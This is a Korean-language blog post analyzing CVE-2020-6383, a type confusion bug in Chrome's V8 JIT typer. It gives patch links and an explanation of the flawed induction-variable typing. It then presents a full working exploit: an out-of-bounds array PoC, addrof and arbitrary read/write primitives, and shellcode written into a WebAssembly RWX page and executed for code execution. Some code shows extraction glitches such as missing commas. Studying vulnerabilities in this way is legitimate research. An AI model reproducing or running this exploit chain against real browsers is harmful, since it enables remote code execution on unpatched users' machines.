본문으로 바로가기

CVE-2020-6383 [V8]

category Analysis/1-day 2020. 9. 11. 18:49

CVE-2020-6383

Type confusion in V8 in Google Chrome prior to 80.0.3987.116 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

 

# Environment

branch 73f88b5f69077ef33169361f884f31872a6d56ac

https://chromium.googlesource.com/v8/v8/+/73f88b5f69077ef33169361f884f31872a6d56ac

 

# Bug Report

https://bugs.chromium.org/p/chromium/issues/detail?id=1051017

 

# Patch Commit

https://chromium.googlesource.com/v8/v8/+/6516b1ccbe6f549d2aa2fe24510f73eb3a33b41a

https://chromium.googlesource.com/v8/v8/+/a2e971c56d1c46f7c71ccaf33057057308cc8484

https://chromium.googlesource.com/v8/v8/+/68099bffaca0b4cfa10eb0178606aa55fd85d8ef

https://chromium.googlesource.com/v8/v8/+/e440eda4ad9bfd8983c9896de574556e8eaee406

https://chromium.googlesource.com/v8/v8/+/fa5fc748e53ad9d3ca44050d07659e858dbffd94

 

# PoC (Leak Address)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function trigger() {
    var x = -Infinity;
    var k = 0;

    for (var i=0 ; i<1 ; i+=x) {
        if (i == -Infinity) {
            x = +Infinity;
        }
        if (++k > 10) {
            break;
        }
    }

    var value = Math.max(i1024);
    value = -value;
    value = Math.max(value, -1025);
    value = -value;
    value -= 1022;
    value >>= 1;
    value += 10;

    var array = Array(value);
    array[0] = 1.1;
    return [array, {}];
}

for (let i=0 ; i<20000 ; ++i) {
    trigger();
}

console.log(trigger()[0][11]);

 

# Analysis

TypeInductionVariablePhi 함수는 아래 형식의 for 반복문을 최적화할 때 실행된다.

 

1
2
3
for (var i=initial ; i<end ; i+=increment) {
    ...
}

 

이 때 초기값 initial 과 증가/감소량 increment 가 모두 정수 타입이라면 최적화를 진행한다.

 

857
858
859
860
861
862
863
864
865
866
867
868
869
  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_typeincrement_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN());
  }
/src/compiler/typer.cc

 

initialincrement 의 타입이 모두 kInteger 라면 both_types_integer 의 값은 true가 된다. 하지만 루프가 끝났을 때 i 가 정수라고 장담할 수는 없는데, 왜냐하면 initial 이 -Infinity 이고 increment 가 Infinity 인 경우 i 는 NaN이 되기 때문이다.

이 때문에, 결과값의 타입이 NaN인지 검사하는 로직이 존재한다. resultant_type 의 set 을 구하고, 해당 set 에 NaN이 포함되는지 확인한다.

 

871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
  // We only handle integer induction variables (otherwise ranges
  // do not apply and we cannot do anything).
  if (both_types_integer || maybe_nan) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unforretunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increments type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(nodeNodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0i < arity; ++i) {
      type = Type::Union(typeOperand(nodei), zone());
    }
    return type;
  }
/src/compiler/typer.cc

 

(unforretunately는 오타일까?)

만약 initialincrement 의 타입이 정수가 아니거나, 결과값이 NaN이 될 수 있는 가능성이 존재하는 경우 range를 계산할 수 없기 때문에 node 의 모든 피연산자의 타입을 합쳐서 리턴한다.

 

886
887
888
889
890
891
  // If we do not have enough type information for the initial value or
  // the increment, just return the initial values type.
  if (initial_type.IsNone() ||
      increment_type.Is(typer_->cache_->kSingletonZero)) {
    return initial_type;
  }
/src/compiler/typer.cc

 

마지막으로 initial_type 이 None 이거나 increment_type 가 kSingletonZero, 즉 increment 가 정확히 0인 경우 initial_type 을 그냥 리턴한다.

 

908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
  if (increment_min >= 0) {
    // increasing sequence
    min = initial_type.Min();
    for (auto bound : induction_var->upper_bounds()) {
      Type bound_type = TypeOrNone(bound.bound);
      // If the type is not an integer, just skip the bound.
      if (bound_type.Is(typer_->cache_->kInteger)) continue;
      // If the type is not inhabited, then we can take the initial value.
      if (bound_type.IsNone()) {
        max = initial_type.Max();
        break;
      }
      double bound_max = bound_type.Max();
      if (bound.kind == InductionVariable::kStrict) {
        bound_max -= 1;
      }
      max = std::min(maxbound_max + increment_max);
    }
    // The upper bound must be at least the initial values upper bound.
    max = std::max(maxinitial_type.Max());
  } else if (increment_max <= 0) {
    // decreasing sequence
    max = initial_type.Max();
    for (auto bound : induction_var->lower_bounds()) {
      Type bound_type = TypeOrNone(bound.bound);
      // If the type is not an integer, just skip the bound.
      if (bound_type.Is(typer_->cache_->kInteger)) continue;
      // If the type is not inhabited, then we can take the initial value.
      if (bound_type.IsNone()) {
        min = initial_type.Min();
        break;
      }
      double bound_min = bound_type.Min();
      if (bound.kind == InductionVariable::kStrict) {
        bound_min += 1;
      }
      min = std::max(minbound_min + increment_min);
    }
    // The lower bound must be at most the initial values lower bound.
    min = std::min(mininitial_type.Min());
  } else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger;
  }
/src/compiler/typer.cc

 

만약 increment 가 양수와 음수 모두 될 가능성이 있다면 kInteger를 리턴하고, 그렇지 않으면 계산한 bound 를 사용해 Range를 리턴한다.

 

지금까지 TypeInductionVariablePhi 함수의 동작 과정을 살펴보았다. 다음으로 PoC에서 사용한 루프를 살펴보기로 한다.

 

1
2
3
4
5
6
7
8
9
10
11
    var x = -Infinity;
    var k = 0;

    for (var i=0 ; i<1 ; i+=x) {
        if (i == -Infinity) {
            x = +Infinity;
        }
        if (++k > 10) {
            break;
        }
    }

 

이 코드를 Turbofan이 최적화할 때, TypeInductionVariablePhi 이 실행된다.

initial 에 해당하는 값 0과 increment 에 해당하는 값 x 가 -Infinity 이므로, both_types_integer 는 true 값을 가진다. 0과 -Infinity를 더하면 -Infinity가 되기 때문에, resultant_type는 PlainNumber 가 되면서 maybe_nan 은 false 값을 갖게 된다.

 

하지만 루프 중간에서, i 가 -Infinity 이면 x 에 Infinity를 더하기 때문에 두 번째 루프를 돌고 나면 x 는 NaN이 된다. 루프 내부에서 increment 가 바뀌는 경우를 고려하지 않았기 때문에, 실제 값은 NaN이지만 kInteger로 type confusion을 일으킬 수 있다.

 

JIT로 PoC 코드의 function 함수가 컴파일되었을 때 value 의 bound는 다음과 같이 변한다.

 

1
2
3
4
5
6
7
8
    // i: kInteger > [-Infinity, Infinity]
    var value = Math.max(i1024);     // [1024, Infinity]
    value = -value;                    // [-Infinity, -1024]
    value = Math.max(value, -1025);    // [-1025, -1024]
    value = -value;                    // [1024, 1025]
    value -= 1022;                     // [2, 3]
    value >>= 1;                       // 1
    value += 10;                       // 11

 

각 연산 중간 단계마다 value 값을 출력해 보았다.

 

=====
NaN
NaN
NaN
NaN
NaN
NaN
0
10
=====
NaN
NaN
NaN
0
0
-1022
1073741313
1073741323

 

위쪽은 JIT 컴파일 전이고 아래쪽은 JIT로 최적화가 이루어진 뒤이다.

최적화 이전에는 value 가 모두 NaN 값을 가지다가, shift 연산으로 인해 0이라는 값을 가지고 이어서 10을 더하면서 10이 되었다.

최적화 이후, 3번째 줄의 Math.max 연산으로 value 가 0이 되고, 그 뒤에 1022를 빼고 shift 연산으로 sign 비트를 지워 매우 큰 수를 만들었다. 1073741313이 된 이유는 V8에서 pointer compression을 적용했을 때 smi가 31비트이기 때문이다.

 

결과적으로 실제 value 의 값은 1073741323 이 되지만 value 의 Range는 11 인 상태이기 때문에, value 로 Array를 생성하면 OOB read/write가 가능해진다.

 

# Exploit

Pointer compression이 적용된 V8은 이전과는 다르게 두 가지 스테이지를 거쳐야 한다.

먼저 isolate (v8 heap) 내에서 값을 자유롭게 쓸 수 있는 limited AAR/AAW, 외부 공간에도 임의의 주소에 값을 읽고 쓸 수 있게 하는 full AAR/AAW 를 구현해야 한다. (물론 처음부터 64bit 주소 leak이 가능하다면 v8 heap 은 따로 공략하지 않아도 됨)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);

function double_to_int(v) {
    f64[0] = v;
    return u32;
}

function double_to_long(v) {
    f64[0] = v;
    return BigInt(u32[0]) + (BigInt(u32[1]) << 32n);
}
 
function int_to_double(lohi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function long_to_double(v) {
    u32[0] = Number(BigInt(v) & 0xFFFFFFFFn);
    u32[1] = Number(BigInt(v) >> 32n);
    return f64[0];
}

function hex(v) {
    return '0x' + v.toString(16);
}

function v() {
    var x = -Infinity;
    var k = 0;

    for (var i=0 ; i<1 ; i+=x) {
        if (i == -Infinity) {
            x = +Infinity;
        }

        if (++k > 10) {
            break;
        }
    }

    var value = Math.max(i1024);
    value = -value;
    value = Math.max(value, -1025);
    value = -value;
    value -= 1022;
    value >>= 1;
    value += 10;


    var array = Array(value);
    array[0] = 1.1;

    return [array, {}];
}

for (let i=0 ; i<20000 ; ++i) {
    v();    // optimize v
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var exec = wasm_instance.exports.main;

let addrof = function(obj) {
    var x = v();
    x[1] = obj;
    var addr = double_to_int(x[0][16])[0];
    return addr;
};

let AAR_AAW_init = function(addr) {
    // compressed absolute read/write
    // addr: 32bit, isolate = v8 heap base
    var x = v();
    var obj = [987.654];

    var leak = double_to_int(x[0][21]);
    x[0][21] = int_to_double(leak[0], addr);   // elements = addr
    leak = double_to_int(x[0][22]);
    x[0][22] = int_to_double(0x10000leak[1]);    // length = 0x10000

    return obj;
};

let AAR_AAW_full_init = function(addr) {
    // uncompressed absolute read/write
    // addr: 64bit
    var obj = new Uint32Array(0x40);
    var obj_addr = addrof(obj);
    var tmp = AAR_AAW_init(obj_addr);

    tmp[4] = long_to_double(addr);   // elements = addr

    return obj;
};

var leak = addrof(wasm_instance);
console.log("WASM Instance = "+hex(leak));
var AAR_AAW = AAR_AAW_init(leak);
var RWX = double_to_long(AAR_AAW[12]);
console.log("RWX Memory = "+hex(RWX));

var AAR_AAW_full = AAR_AAW_full_init(RWX+0x2E0n);
var shellcode = [0x3ac0c748,0xf000000,0xf8834805,0xc3017400,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x3bc0,0x50f00];

for (var i=0 ; i<shellcode.length ; i++) {
    AAR_AAW_full[i] = shellcode[i];
}

exec();

 

 

1. 객체의 주소를 구할 수 있는 addrof 를 구현한다.

elements[1] 에 객체를 넣고, 주소를 leak 하면 된다.

 

2. v8 heap 내부에서 원하는 위치에 값을 자유롭게 읽고 쓸 수 있는 객체를 만든다.

AAR_AAW_init 함수에 해당하는 부분이다. v 를 호출한 뒤 바로 객체를 생성하면 해당 객체는 x 바로 뒤의 공간에 온다.

obj 의 elements 의 주소와 length 를 수정했다. (length 를 크게 잡아주지 않으면, 범위를 벗어날 때 undefined 값이 들어감)

 

3. Full AAR/AAW 객체를 만든다.

AAR_AAW_full_init 함수에 해당하는 부분이다. V8의 JSTypedArray 는 base_pointerexternal_pointer 값을 들고 있다. 실제 데이터가 쓰여지는 부분은 base_pointer+external_pointer 인데, 이 값은 compressed pointer가 아닌 실제 주소값을 나타낸다. 따라서 external_pointer 값을 바꾸면 원하는 위치에 값을 쓰는 게 가능해진다.

 

4. RWX 메모리 영역에 코드를 작성한다.

WebAssembly를 사용해 RWX mem page를 만들고, TypedArray의 data_ptr 를 RWX 영역으로 놓은 뒤 해당 위치에 쉘코드를 작성하여 RCE를 할 수 있다.

'Analysis > 1-day' 카테고리의 다른 글

CVE-2018-1160 [Netatalk]  (0) 2020.10.21
CVE-2020-6383 [V8]  (0) 2020.09.11

댓글을 달아 주세요